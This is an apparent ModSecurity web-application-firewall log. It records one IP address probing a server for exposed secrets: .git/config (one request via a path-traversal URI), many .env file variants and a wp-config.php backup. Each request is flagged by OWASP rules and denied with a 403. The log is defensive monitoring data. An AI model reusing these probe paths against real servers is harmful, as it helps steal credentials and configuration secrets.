[Sat Oct 24 13:01:28.310019 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaHy_mx2QzptTVg2qsAAAAAU"]
[Sat Oct 24 13:01:28.505972 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48164] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "atzkaBdOhHN-18IxgZKtcQAAAAY"]
[Sat Oct 24 13:01:28.506031 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48164] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "atzkaBdOhHN-18IxgZKtcQAAAAY"]
[Sat Oct 24 13:01:28.506090 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48164] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "atzkaBdOhHN-18IxgZKtcQAAAAY"]
[Sat Oct 24 13:01:28.506286 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "atzkaBdOhHN-18IxgZKtcQAAAAY"]
[Sat Oct 24 13:01:28.507124 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaBdOhHN-18IxgZKtcQAAAAY"]
[Sat Oct 24 13:01:28.699532 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "atzkaNFqpkZ9T6kfBCkAKwAAAAA"]
[Sat Oct 24 13:01:28.699754 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "atzkaNFqpkZ9T6kfBCkAKwAAAAA"]
[Sat Oct 24 13:01:28.700556 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaNFqpkZ9T6kfBCkAKwAAAAA"]
[Sat Oct 24 13:01:28.900266 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48188] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/wp-config.php.bak"] [unique_id "atzkaAoF0dEltz9SGyy7iQAAABU"]
[Sat Oct 24 13:01:28.900529 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/wp-config.php.bak"] [unique_id "atzkaAoF0dEltz9SGyy7iQAAABU"]
[Sat Oct 24 13:01:28.901287 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaAoF0dEltz9SGyy7iQAAABU"]
[Sat Oct 24 13:01:29.102493 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.default"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.default"] [unique_id "atzkaVJ_jwyaxTk3PFs1hQAAAAE"]
[Sat Oct 24 13:01:29.102701 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.default"] [unique_id "atzkaVJ_jwyaxTk3PFs1hQAAAAE"]
[Sat Oct 24 13:01:29.103830 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaVJ_jwyaxTk3PFs1hQAAAAE"]
[Sat Oct 24 13:01:29.305415 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.stage"] [unique_id "atzkab67zmuaHuFajxGnbgAAAA4"]
[Sat Oct 24 13:01:29.305644 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.stage"] [unique_id "atzkab67zmuaHuFajxGnbgAAAA4"]
[Sat Oct 24 13:01:29.306449 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkab67zmuaHuFajxGnbgAAAA4"]
[Sat Oct 24 13:01:29.507963 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.template"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.template"] [unique_id "atzkaapyxzGTDP3At0pyqAAAAAc"]
[Sat Oct 24 13:01:29.508166 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.template"] [unique_id "atzkaapyxzGTDP3At0pyqAAAAAc"]
[Sat Oct 24 13:01:29.509157 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaapyxzGTDP3At0pyqAAAAAc"]
[Sat Oct 24 13:01:29.702588 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "atzkaYWurp-t0SwAQgRsGQAAAAQ"]
[Sat Oct 24 13:01:29.702830 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "atzkaYWurp-t0SwAQgRsGQAAAAQ"]
[Sat Oct 24 13:01:29.704028 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaYWurp-t0SwAQgRsGQAAAAQ"]
[Sat Oct 24 13:01:29.894044 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "atzkaVb2-c1qsZ5qYR4AfgAAAAM"]
[Sat Oct 24 13:01:29.894243 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "atzkaVb2-c1qsZ5qYR4AfgAAAAM"]
[Sat Oct 24 13:01:29.895051 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaVb2-c1qsZ5qYR4AfgAAAAM"]
[Sat Oct 24 13:01:30.084971 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48220] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/admin/.git/config"] [unique_id "atzkany_mx2QzptTVg2qsQAAAAU"]
[Sat Oct 24 13:01:30.085198 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/.git/config"] [unique_id "atzkany_mx2QzptTVg2qsQAAAAU"]
[Sat Oct 24 13:01:30.085968 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkany_mx2QzptTVg2qsQAAAAU"]
[Sat Oct 24 13:01:30.277273 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/laravel/.env"] [unique_id "atzkatFqpkZ9T6kfBCkALAAAAAA"]
[Sat Oct 24 13:01:30.277493 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/laravel/.env"] [unique_id "atzkatFqpkZ9T6kfBCkALAAAAAA"]
[Sat Oct 24 13:01:30.278285 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkatFqpkZ9T6kfBCkALAAAAAA"]
[Sat Oct 24 13:01:30.855996 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48280] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.preprod"] [unique_id "atzkagg8t6UDSRTNwJOXZAAAABc"]
[Sat Oct 24 13:01:30.856234 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.preprod"] [unique_id "atzkagg8t6UDSRTNwJOXZAAAABc"]
[Sat Oct 24 13:01:30.857301 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkagg8t6UDSRTNwJOXZAAAABc"]
[Sat Oct 24 13:01:31.059744 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/storage/.env"] [unique_id "atzka767zmuaHuFajxGnbwAAAA4"]
[Sat Oct 24 13:01:31.059943 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/storage/.env"] [unique_id "atzka767zmuaHuFajxGnbwAAAA4"]
[Sat Oct 24 13:01:31.060587 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzka767zmuaHuFajxGnbwAAAA4"]
